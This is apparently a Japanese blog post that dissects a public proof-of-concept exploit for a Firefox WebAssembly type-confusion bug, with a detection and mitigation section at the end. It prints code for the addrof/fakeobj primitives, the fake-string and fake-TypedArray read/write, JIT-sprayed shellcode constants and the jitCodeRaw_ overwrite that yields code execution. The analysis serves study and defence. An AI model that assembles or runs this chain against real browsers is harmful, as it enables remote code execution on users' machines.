コンテンツにスキップ
memo.js を読み解く — Firefox WASM CVE-2026-2796 PoC のソース解析

memo.js を読み解く — Firefox WASM CVE-2026-2796 PoC のソース解析

2026年5月17日

手元の lab/memo.js を読む機会があったのでメモを残す。これは公開 PoC str8outtaheap/publications リポジトリの CVE-2026-2796 — WebAssembly call-bind import confusion に対するエクスプロイトをほぼそのまま持ってきたもので、addrof / fakeobj → 任意 R/W → JIT spray → 任意コード実行 (WinExec("calc")) まで一直線に組まれている。短いコードだが、SpiderMonkey 内部のレイアウトを 4〜5 種類踏み台にしているので、それぞれのオフセットが「なぜそこにあるのか」 を確認することを目的に節ごとに読み解いていく。

実機での再現は行っていない。本記事は 公開済み PoC のソースを読むためのガイド に留まる。実 PoC は Windows 上 Firefox を想定 (シェルコードが WinExec)。

1. 全体像

memo.js は単一ファイル・約 275 行で、window.onload = exp()exp() を即時実行する形を取る。exp() の中で行われていることを上から並べるとこうなる。

フェーズやっていること利用する仕組み
1WASM モジュールをコンパイル / インスタンス化WebAssembly.compile
2addrof / fakeobj を 100 万回 warmupWASM 側 JIT を温める
3addrofUint8Array のアドレスを取るバグ プリミティブ
4fakeobj偽の JSLinearString を生成し任意 read を作るfakeobj(addr | 0x2)
5任意 read で Uint8ArrayShape* をリーク既知レイアウト
6偽の Uint8Array を組み立てて任意 R/W へ格上げfakeobj
7jitme() を 0x5000 回呼んで JIT sprayBaseline/Ion
8JSFunctionBaseScriptjitCodeRaw_ をたどる任意 read
9jitCodeRaw_shellcode 先頭に書き換え任意 write
10jitme() を再度呼ぶ → shellcode 実行コントロールフロー奪取

最終ペイロードは PoC コメントに WinExec("calc", SW_SHOWNORMAL) と明記されている。Windows Firefox を狙ったクラシックな pwn 連鎖 で、Linux/macOS では別のシェルコードに差し替える前提のコードになっている。

2. WASM モジュール — addroffakeobj

ファイル先頭で巨大な Uint8Array の即値配列がそのまま展開されている。これは wat2js.sh modules.wat で生成された WASM バイナリで、復元すると以下を export する。

エクスポート名シグネチャ意味
addrof(i32 mode, externref obj) -> i64オブジェクトの生ポインタを返す (mode=0 は spray 用 / mode=1 が本番)
fakeobj(i32 mode, i64 addr) -> externref生ポインタを externref として返す

セクション末の name セクションを覗くと、関数名は spray_objspray_addr、内部ヘルパ名は loop / int_arr / ref_arr といった命名で出てくる。0xFB プリフィックス命令 (GC 命令、array.new / struct.set / ref.cast 等) を多用しており、CVE-2026-2796 の本質である 「インポートされた関数呼び出しの型バインド解決が一段ズレる」 バグを GC 配列の externrefi64 型混同で観測する形になっている。

PoC が mode=0 で warmup を回すのは、WASM の call_indirect テーブル / インポート bind のキャッシュ がエクスプロイトに必要な状態に遷移するまで JIT を温めておくため。エクスポート名 spray_* がまさにそれを物語っている。

let mod  = await WebAssembly.compile(WASM_MODULE);
let inst = await WebAssembly.instantiate(mod, {});
let wasm_addrof  = inst.exports.addrof;
let wasm_fakeobj = inst.exports.fakeobj;

{} インポートで instantiate しているので、PoC は 外部関数のインポート bind バグそのもの ではなく、その帰結として得られる型混同を経由している実装。

2.1 warmup

const WARMUP_ITERS = 1_000_000;
function warmup() {
  for (let i = 0; i < WARMUP_ITERS; i++) {
    wasm_addrof(0, obj);   // x3
    wasm_fakeobj(0, addr); // x3
  }
}
warmup();

100 万回 × 6 コールで合計 600 万呼び出し。Baseline → Ion / Liftoff → Optimizing の昇格と、call_indirect の対象テーブル エントリの IC 状態安定化が目的。この warmup が足りないと addrof / fakeobj が 0n や null を返してきて確率的に失敗する

2.2 リトライ ラッパ

function addrof(obj) {
  for (let i = 0; i < 0x1000; i++) {
    const u = BigInt.asUintN(64, wasm_addrof(1, obj));
    if (u !== 0n) return u;
    warmup();
  }
  print("[-] addrof failed"); die();
}

成功するまで最大 4096 回、失敗するたびに 再 warmup する作り。確率的バグであるという性質と、JIT 状態が外的事象 (GC など) で崩れることへの保険。fakeobj 側も対称な構造。

3. 偽 JSLinearString による任意 read

ここからが本題。fakeobj の戻り値は WASM の externref (= SpiderMonkey の AnyRef) で、下位タグ 0x2JSString* を意味する。つまり fakeobj(addr | 2) を呼ぶと、addrJSString* として解釈した参照が JS 側に返ってくる。

3.1 メモリ レイアウト

Uint8Array(96)インライン領域 (オブジェクトヘッダ末尾 56 バイトから始まる) に偽の JSLinearString ヘッダを書き、そこを JSString* として参照する戦略。

const INLINE_OFF = 56n;  // Uint8Array の inline 領域までのオフセット
const FAKE_OFF   = 16;   // インライン内のスクラッチ位置

let stringScratch       = new Uint8Array(96);
let stringScratchInline = addrof(stringScratch) + INLINE_OFF;
let fakeStringAddr      = stringScratchInline + BigInt(FAKE_OFF);
let fakeStringValue     = fakeStringAddr | STRING_TAG; // | 0x2

書き込むヘッダはまさに SpiderMonkey の JSLinearString の最初の 3 ワード。

Offsetフィールド
+0flags`LINEAR_BIT
+4length8
+8chars読みたい先頭アドレス addr

LATIN1_CHARS_BIT が立っているので 1 文字 = 1 バイトとして解釈される。charCodeAt(i) を 8 回回すだけで *(addr + i) が直接読める。

function stringRead64(addr) {
  writeU32(stringScratch, FAKE_OFF + 0, LINEAR_LATIN1);
  writeU32(stringScratch, FAKE_OFF + 4, 8);
  writeU64(stringScratch, FAKE_OFF + 8, addr);
  writeU64(stringScratch, FAKE_OFF + 16, 0n);

  let s = fakeobj(fakeStringValue);
  let v = 0n;
  for (let i = 0; i < 8; i++) {
    v |= BigInt(s.charCodeAt(i)) << BigInt(i * 8);
  }
  return v;
}

これで 任意 8 バイト read が手に入った。書き込み側はまだ無い。

3.2 Shape をリークする

任意 read の最初の用途は、本物の Uint8Array から Shape* を盗むこと。

let shapeTA     = new Uint8Array(16);  // 任意の Uint8Array
let shapeTAAddr = addrof(shapeTA);
let shapePtr    = stringRead64(shapeTAAddr); // *(shapeTA + 0) = shape_

JSObject の +0 はいつも Shape*。これで Uint8Array の正しい Shape* が確保できた。この shape を流用すれば、後段で組み立てる偽 TypedArray が SpiderMonkey から見て「ホンモノ」になる

4. 偽 Uint8Array による任意 R/W

Shape* が手に入ったので、今度は別の scratch = new Uint8Array(96) のインライン領域に 偽の Uint8Array JSObject を組み立てる。

//   fake JSObject at fakeAddr:
//     +0   shape_      = shapeTA.shape_   ← さっきリークしたやつ
//     +8   slots_      = 0
//     +16  elements_   = fakeElems        ← 自身を指す
//     +24  BUFFER_SLOT = false (NaN-boxed)
//     +32  LENGTH_SLOT = 8
//     +40  BYTEOFFSET  = 0
//     +48  DATA_SLOT   = targetAddr       ← ここを書き換えると読み書き先が変わる
function buildFakeTA() {
  writeU64(scratch, FAKE_OFF + 0,  shapePtr);
  writeU64(scratch, FAKE_OFF + 8,  0n);
  writeU64(scratch, FAKE_OFF + 16, fakeElems);
  writeU64(scratch, FAKE_OFF + 24, SLOT0_BUFFER_FALSE); // 0xfff9000000000000
  writeU64(scratch, FAKE_OFF + 32, 8n);
  writeU64(scratch, FAKE_OFF + 40, 0n);
  writeU64(scratch, FAKE_OFF + 48, 0n);
  return fakeobj(fakeAddr);  // 今度はタグ無し = JSObject*
}
let ta = buildFakeTA();

SpiderMonkey の TypedArray は、ArrayBuffer を持たない (= BUFFER_SLOTfalse) インライン or 外部バッファ参照モード だと、DATA_SLOT の値をそのままバッキング ストアの生ポインタとして使う。SLOT0_BUFFER_FALSE = 0xfff9000000000000n は SpiderMonkey の BooleanValue(false) の NaN ボックス表現で、これを置くと「バッファなし」と認識される。

あとは DATA_SLOT (+48) を書き換えれば ta[i] の読み書きが任意のアドレスを叩く。

function setDataSlot(addr) {
  writeU64(scratch, FAKE_OFF + 48, BigInt.asUintN(64, addr));
}
function read64(addr)        { setDataSlot(addr); /* ta[0..8] を 1 バイトずつ */ }
function write64(addr, val)  { setDataSlot(addr); /* ta[0..8] に書く */ }

ここで偽 string → 偽 TypedArray にアップグレードする理由 は、文字列ベースの read は「読みっぱなし」で write が無いから。fakeobj を二度活用して、ヘッダ レイアウトを変えるだけで RW プリミティブを得るのは SpiderMonkey エクスプロイトの定型パターン。

5. JIT spray — jitme() の浮動小数点定数

ここから RCE フェーズ。コード実行可能なメモリにシェルコードを書き込む ために、JIT コンパイル時にイミディエイト値として埋め込まれる double リテラル を使ったクラシックな手法。

function jitme() {
  findme = 5.40900888e-315;   // 0x41414141 in memory (マーカ)
  S0  = 5.043028276299925e-73; // shellcode start
  S1  = -5.954496622687381e-264;
  // ...
  S31 = -6.596361731336406e-229;
}
for (let i = 0; i < 0x5000; i++) jitme();

これらの double は、IEEE 754 の 8 バイト表現として書き下した時にちょうどシェルコードのバイト列になる ように選ばれた値。Baseline JIT がコンパイルする際、xmm レジスタにロードするためにこれらの値を R-X 領域の constant pool にそのまま並べる。32 個並べているので 32 × 8 = 256 バイトのシェルコードが連続して JIT メモリに書き込まれる。

findme = 5.40900888e-315マーカ。低 32 bit が 0x41414141 (AAAA) になるので、JIT メモリをスキャンしてこの位置を見つければ、その +8 バイト先がシェルコード先頭という関係。

32 個もある定数を 0x5000 (= 20480) 回スプレーするのは、Ion 最適化済みの版Baseline の版 の両方が R-X メモリに残ってほしいから。スキャン範囲を絞るのにマーカが効く。

6. JSFunctionBaseScriptjitCodeRaw_

シェルコードがどこにあるか探すには、jitme 関数オブジェクトから JIT コードのアドレスをたどる必要がある。SpiderMonkey の現行レイアウト (PoC 注釈による) はこうなっている。

JSFunction at fn_addr:
  +0x28  BaseScript*       = basescript_addr

BaseScript at script_addr:
  +0x00  jitCodeRaw_       = jitcoderaw_addr (R-X)

addrof(jitme) でアドレスを取って、

let jitme_addr      = addrof(jitme);
let basescript_addr = read64(jitme_addr + 0x28n);
let jitcoderaw_addr = read64(basescript_addr);

これで R-X セグメント内のコード本体の先頭が分かる。

6.1 マーカ検索

for (let i = 0; i < 0x1000; i++) {
  let addr = jitcoderaw_addr + BigInt(i * 8);
  let val  = read64(addr);
  if ((val & 0xffffffffn) === 0x41414141n) {
    findme_addr = addr; break;
  }
}
let shellcode = findme_addr + 8n;

低 32 bit が 0x41414141 になる 8 バイト境界を線形に探し、見つかったらその +8 がシェルコード先頭。0x1000 個 = 8KB の探索範囲なので、コードが想定よりズレるとミスる可能性はある。

7. コントロールフロー奪取

最後の一押し。BaseScript::jitCodeRaw_ を、リークしたシェルコード アドレスで上書き すれば、次に jitme() を呼んだとき JIT トランポリンがそのアドレスに飛ぶ。

write64(basescript_addr, shellcode);
jitme();         // ここで shellcode (= WinExec("calc")) が走る
print("[+] w00t");

jitCodeRaw_ は JSFunction の呼び出し時に bl / call で直接ジャンプ先として使われるポインタで、ASLR / W^X / CFG いずれもバイパスする (JIT 自身が R-X 領域にコードを書き、その領域の正規ポインタを書き換えているだけだから)。典型的な JIT トランポリン乗っ取り

8. 攻撃 チェーン まとめ

[ CVE-2026-2796 WASM call-bind import confusion ]
[ addrof(externref→i64) / fakeobj(i64→externref) ]   ← warmup 必須
[ fakeobj(addr|0x2) → 偽 JSLinearString → stringRead64() ]   ← 任意 read
[ stringRead64(Uint8Array) → Shape* リーク ]
[ fakeobj(addr) → 偽 Uint8Array → read64/write64() ]   ← 任意 R/W
[ jitme() スプレー → R-X に shellcode を埋め込む ]
[ JSFunction → BaseScript → jitCodeRaw_ ]
[ jitCodeRaw_ ← shellcode  /  jitme() 再呼出し ]   ← RCE

9. 観測ポイント / 防御の話

エクスプロイト自体は閉じているが、観測・対策の視点で押さえておきたいポイント をいくつか。

観点コメント
WASM GC 命令の濫用0xFB プリフィックス命令を異常な頻度で叩く Web ページは現状ほぼ存在しない。EDR / ブラウザ拡張側のテレメトリで WebAssembly.compile 直後の 大量の externrefi64 変換 が出てきたら疑える
巨大 warmup ループ100 万回の call_indirect 同等の呼び出しはレガシー サイトでも稀。JS 実行プロファイラで wasm_addrof / wasm_fakeobj 命名は当然のヒント
JIT spray の検出難度浮動小数点定数だけで構成されたコードは外見からは普通の数値計算と区別がつかない。jitme のように 連続代入が異常に長い関数 をヒューリスティックに見るしかない
mitigationsFirefox 側は Shape の確率的化、JIT W^X、jitCodeRaw_ の保護化が継続的に行われている。CVE-2026-2796 自体は WASM フロントエンドの型 bind 解決の修正で塞がっている (PoC 公開時点で fix 済み)
シグネチャ ベース検出5.40900888e-315 (= 0x41414141 マーカ) や 0xfff9000000000000n (NaN-boxed false) はリテラル文字列として PoC ファミリに残りやすい。YARA / IOC では効きやすい

10. 読んだ感想

  • コード量に対する密度がエグい。275 行で WASM 型混同 → 任意 RW → R-X spray → JIT trampoline 乗っ取りまで一気通貫に書けるのは、SpiderMonkey の内部レイアウトが PoC 作成者にとって既知 であるということでもある。バージョン依存オフセット (+0x28, INLINE_OFF=56, LINEAR_LATIN1=0x410) は Firefox の特定ビルドに固有 で、別バージョンでは即死する
  • WASM が攻撃面として濃い という事実が改めて見える。externref0x2 タグや GC 命令プリフィックスのような細かい仕様の積み重ねが、一発でユーザ空間の任意ポインタ-as-Object を提供してしまう
  • JIT spray を浮動小数点で行う技法は健在。constant pool への即値埋め込みは W^X や ASLR を素通りする (R-X に正規に書かれるため)。Firefox/Chrome ともに数年単位で対策が入っているが、本 PoC のように一定確率で滑り抜けるパス は残る

検証や対策側からは「WASM の異常なテレメトリ + JS の不自然な double リテラルの連続代入」がトリガーになる、というのが現実的な落とし所になりそう。

参考